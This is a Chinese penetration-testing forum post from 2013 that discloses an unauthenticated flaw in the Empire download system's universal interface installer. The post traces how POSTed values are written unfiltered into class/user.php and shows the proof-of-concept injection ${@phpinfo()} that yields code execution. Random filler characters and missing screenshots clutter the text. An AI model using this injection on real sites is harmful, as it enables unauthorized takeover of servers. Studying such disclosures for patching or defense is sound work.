中国网络渗透测试联盟

标题: 帝国万能接口漏洞0day [打印本页]

作者: admin    时间: 2013-1-23 09:34
标题: 帝国万能接口漏洞0day
这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们  y7 b0 Q5 V3 p
, }8 h# g7 t; S2 P8 T; K

7 h1 \& v. C% _6 z3 z+ v  d
这是帝国的一套下载系统 如图- O$ d0 N8 n* j5 h2 @) l/ f( \
ps(不需要任何账户和密码,直接写shell)

' q: R8 V/ l8 ^; L3 Z

由于很多站是由于下载要整合discuz 等等一些论坛....
4 @( Q3 n* E$ _0 y6 M4 G$ M& p


+ N: C' q! A8 q7 w

而帝国他又有一个万能接口,如图

; {& P1 d6 Y& `9 g
[attach]170[/attach]
2 ^+ p5 ?5 z9 X+ l# \
4 ^" B8 e6 ]. I' z" X; B

而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码
7 C" c# `: X& G7 }! t8 H8 v! n: X
" X( U" d2 Z; Y, v* _7 z当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig

1. if($_GET['install']==1)
2. {
3. @include("../class/connect.php");
4. @include("../class/db_sql.php");
5. @include("../class/functions.php");
6. $link=db_connect();
7. $empire=new mysqlquery();
8. if($setup=="SetConfig")
9. {
10. SetUserCOMConfig($_POST);
11. }
12. elseif($setup=="alter")
13. {
14. InstallUserCOM();
15. }
16. elseif($setup=="update")
17. {
18. UpdateUserCOM();
19. }
20. else
21. {}

复制代码

他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪) V! x" P) \" c1 L0 y. X

4 L2 j; b% A4 |3 a5 d在data/fun.php中的15行
8 t/ I; J- A; Y$ l  T
5 t8 A3 \; T* }: s我们可以看到这个函数

1. function SetUserCOMConfig($add){
2. $filetext=ReadFiletext('data/user.php');
3. if(empty($filetext))
4. {
5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.');
6. }
7. $vr=explode(",",ReturnRepUserVar());
8. $count=count($vr);
9. for($i=0;$i<$count;$i++)
10. {
11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
12. }
13. //写入配置文件
14. $fp=@fopen("../class/user.php","w");
15. if(!$fp)
16. {
# X( T# L5 G9 H9 G
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
18. }
19. @fputs($fp,$filetext);
20. @fclose($fp);

复制代码

.....//省略若干* X. g; Y: ^/ ?+ a0 L9 _5 i8 R
$ ^, z' h) `% q' \" b! U& s
这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);2 C& ^" `7 h# j: M: q. [

3 @1 h$ |, z; U6 u0 k$ |- @" O他将传进来的变量进行了切割,然后赋给了$filetext
5 C' k5 b% D* Z
9 `% D5 S% P/ v7 O1 a8 B3 ?" |+ ]然后看下面

1. //写入配置文件
2. $fp=@fopen("../class/user.php","w");
3. if(!$fp)
4. {
5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
6. }
7. @fputs($fp,$filetext);

复制代码

打开了一个class/user.php文件,然后将$filetext写入了+ w6 r( w% H! g3 {' U

6 B7 E/ z2 s( m& A我们看看写入的结果,随便填一个

, g7 U& f9 q6 K: x1 G- S
[attach]171[/attach]
. ~# k4 C. m( F- P: w( @. N. x4 d, t/ Z: b! ^6 _3 ^
& e3 {% L  o0 j6 B" ^
[attach]172[/attach]
4 M( M4 e8 I7 P2 [* O

. y9 v5 i( F* H, E. f* ~1 r% Z3 V% A) b2 t# Q( K. f% z: @

1 `' X) P# e; Y- V$ T0 O5 h* T( u

" Y) l5 b) u. N( R% r) V' S$ o+ w8 X9 A
. `5 ?: u& [( b- K5 S- y3 L4 z. k

! V3 u. j6 A# a% ^
9 l( s2 Y6 l/ w* A% N" N6 I  h8 s- m9 Y. H
[attach]173[/attach]

: g* G2 g% U) _% d/ i& {
8 a  ]- T7 [1 J; K& d& q
9 j) X$ G7 @' b! q: A- _% R4 f6 _1 A+ S' P% J. @( q

1 K! ^8 h& j$ V/ W. Z% ^& _0 c2 ~3 {& [
[attach]174[/attach]( E$ u, {, n: |7 z

3 r  c/ L+ [4 ^8 Z/ p' Q; I" z

所以我们淫荡点,写个${@phpinfo()}试试


+ N# j3 a( s/ R3 P' j  i

然后访问以下class/user.php这个文件8 _% x7 U& D  c+ B, d* c
日了吧

+ i8 p0 u; k% {& T
1 z! V) W+ @" @% S4 c/ o' d$ M
. o7 R2 _5 _* [, n3 `

2 ~5 u- J/ R9 C
( Z7 E! X! G* _2 X  {/ e% Z0 Q
6 h$ q  b2 D$ O. S( w





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2